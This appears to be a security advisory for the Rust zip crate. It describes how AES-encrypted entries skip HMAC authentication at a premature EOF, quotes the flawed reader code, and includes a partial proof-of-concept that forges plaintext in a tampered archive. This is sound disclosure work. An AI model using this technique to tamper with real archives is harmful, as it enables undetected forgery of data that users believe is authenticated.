GHSA-8hxf-qr8p-62x4 zip: AES Entry HMAC Authentication Bypass on Premature EOF

• crates.io zip: >= 0.6.0, < 9.0.0 → fixed in 9.0.0

Summary An AES-encrypted (AE-x) entry's authentication code is verified only when the reader's byte counter lands exactly on zero. If the bounded entry reader reaches the archive's actual EOF before the attacker-controlled, header-declared `compressed_size`, the counter remains positive, the HMAC is never read or compared, and the truncated, unauthenticated plaintext is returned as a clean end of stream. A zero-payload entry also returns before authentication. An attacker who does not know the password can modify an archive so chosen or modified plaintext is accepted with no error. Details `src/aes.rs:246-292`: ```rust fn read(&mut self, buf: &mut [u8]) -> io::Result { if self.data_remaining == 0 { // @audit insufficient check return Ok(0); } // get the number of bytes to read, compare as u64 to make sure we can read more than // 2^32 bytes even on 32 bit systems. let bytes_to_read = self.data_remaining.min(buf.len() as u64) as usize; let read = self.reader.read(&mut buf[0..bytes_to_read])?; self.data_remaining -= read as u64; // Update the hmac with the encrypted data self.hmac.update(&buf[0..read]); // decrypt the data self.cipher.crypt_in_place(&mut buf[0..read]); // if there is no data left to read, check the integrity of the data if self.data_remaining == 0 { debug_assert!( !self.finalized, "Tried to use an already finalized HMAC. This is a bug!" ); if self.finalized { return Err(Error::new( ErrorKind::InvalidData, "Tried to use an already finalized HMAC", )); } self.finalized = true; // Zip uses HMAC-Sha1-80, which only uses the first half of the hash // see https://www.winzip.com/win/en/aes_info.html#auth-faq let mut read_auth_code = [0; AUTH_CODE_LENGTH]; self.reader.read_exact(&mut read_auth_code)?; let computed_auth_code = &self.hmac.finalize_reset().into_bytes()[0..AUTH_CODE_LENGTH]; // use constant time comparison to mitigate timing attacks if !constant_time_eq(computed_auth_code, &read_auth_code) { return Err(Error::new( ErrorKind::InvalidData, "Invalid authentication code, this could be due to an invalid password or errors in the data", )); } } Ok(read) } ``` `data_remaining` starts at `compressed_size - (2 + 10 + salt_length)` (`src/aes.rs:144-145`), where `compressed_size` comes straight from the attacker-controlled central directory. Nothing cross-checks the declared data span against the archive's structural boundaries: `ZipFileData::find_content()` is just `reader.take(self.compressed_size)` (`src/types.rs:214-223`), and `make_crypto_reader()` passes the declared value into `AesReader::new()` (`src/read/readers.rs`). When the entry's bounded reader reaches true EOF before the declared size, the inner reader returns `Ok(0)`, the subtraction takes away nothing, and the finalisation block — the only place the 10-byte HMAC-SHA1-80 tag is read and compared — never runs. If bytes such as the central directory follow the entry, they are consumed as payload until the `Take` limit is reached; the HMAC then usually fails. The bypass therefore requires true EOF at the premature end (as in the PoC) or the zero-payload case. The early return at the top of `read()` means an entry whose declared size leaves zero payload bytes is never authenticated either, even though its tag is present in the file. This defeats the guarantee the type documents: *"After the data has been read and decrypted an HMAC will be checked and provide a final means to check if either the password is invalid or if the data has been changed."* AE-2 entries skip the CRC-32 check by design (`src/read/readers.rs` → `Crc32Reader::new(.., should_disable = true)`), so an AE-2 entry on this path has no integrity check of any kind remaining. AES-CTR is malleable, so an attacker who can modify an archive in transit — without the password — can XOR chosen plaintext onto the ciphertext and arrange for the entry to end at true EOF. The password-bearing read paths are affected, including `by_index_decrypt()`, `by_name_decrypt()`, `by_path_decrypt()`, and `by_index_with_options()` when a password is supplied. Bare `extract()` calls `by_index()` without a password and therefore rejects AES-encrypted entries; an application that decrypts entries through these APIs before writing or extracting them is affected. PoC `tests/aes_hmac_bypass.rs` below; `Cargo.toml` needs only `zip = { git = "https://github.com/zip-rs/zip2", rev = "6f09b3064ec87c3a69ea9f3413f9f9638b4aa446" }`, or `zip = "8.6.0"` to run it against the published 8.6.0 release unchanged. All three tests pass in debug and release against the reviewed commit. ```rust use std::io::{Cursor, Read, Write}; use zip::write::SimpleFileOptions; use zip::{AesMode, CompressionMethod, ZipArchive, ZipWriter}; const PASSWORD: &str = "correct horse battery staple"; const GENUINE: &[u8] = b"balance: 100 USD\n"; const FORGED: &[u8] = b"balance: 999 USD\n"; const AES256_OVERHEAD: usize = 28; // 16-byte salt + 2-byte verifier + 10-byte tag fn genuine_archive(plaintext: &[u8]) -> Vec { let mut w = ZipWriter::new(Cursor::new(Vec::new())); let opts = SimpleFileOptions::default() .compression_method(CompressionMethod::Stored) .with_aes_encryption(AesMode::Aes256, PASSWORD); w.start_file("secret.txt", opts).unwrap(); w.write_all(plaintext).unwrap(); w.finish().unwrap().into_inner() } /// What a victim does: open with the correct password and read the entry. fn victim_reads(archive: &[u8]) -> std::io::Result> { let mut a = ZipArchive::new(Cursor::new(archive.to_vec())).unwrap(); let mut f = a.by_index_decrypt(0, PASSWORD.as_bytes()).unwrap(); let mut out = Vec::new(); f.read_to_end(&mut out)?; Ok(out) } fn u16le(b: &[u8], off: usize) -> usize { u16::from_le_bytes([b[off], b[off + 1]]) as usize } /// Payload offset of the single local file header at offset 0. fn payload_start(a: &[u8]) -> usize { 30 + u16le(a, 26) + u16le(a, 28) } /// Control: on a well-formed archive the HMAC does reject forged ciphertext. [test] fn tampering_is_detected_when_the_declared_size_is_honest() { let mut a = genuine_archive(GENUINE); let ct = payload_start(&a) + 18; for i in 0..GENUINE.len() { a[ct + i] ^= GENUINE[i] ^ FORGED[i]; // AES-CTR is malleable } let err = victim_reads(&a).unwrap_err(); assert!(err.to_string().contains("Invalid authentication code")); } /// The bypass: chosen plaintext is delivered verbatim, without the password. [test] fn hmac_is_bypassed_when_the_entry_ends_early() { let genuine = genuine_archive(GENUINE); let hdr_len = payload_start(&genuine); let eocd = genuine.len() - 22; // no archive comment yet let cd_offset = u32::from_le_bytes(genuine[eocd + 16..eocd + 20].try_into().unwrap()) as usize; // Park a second copy of the entry after the end-of-central-directory record, // inside the archive comment, so its data ends at true EOF. Header, salt and // password verifier are copied verbatim — no password knowledge is required. let mut evil = genuine.clone(); let new_hdr_offset = evil.len() as u32; evil.extend_from_slice(&genuine[..hdr_len + 18]); // local head…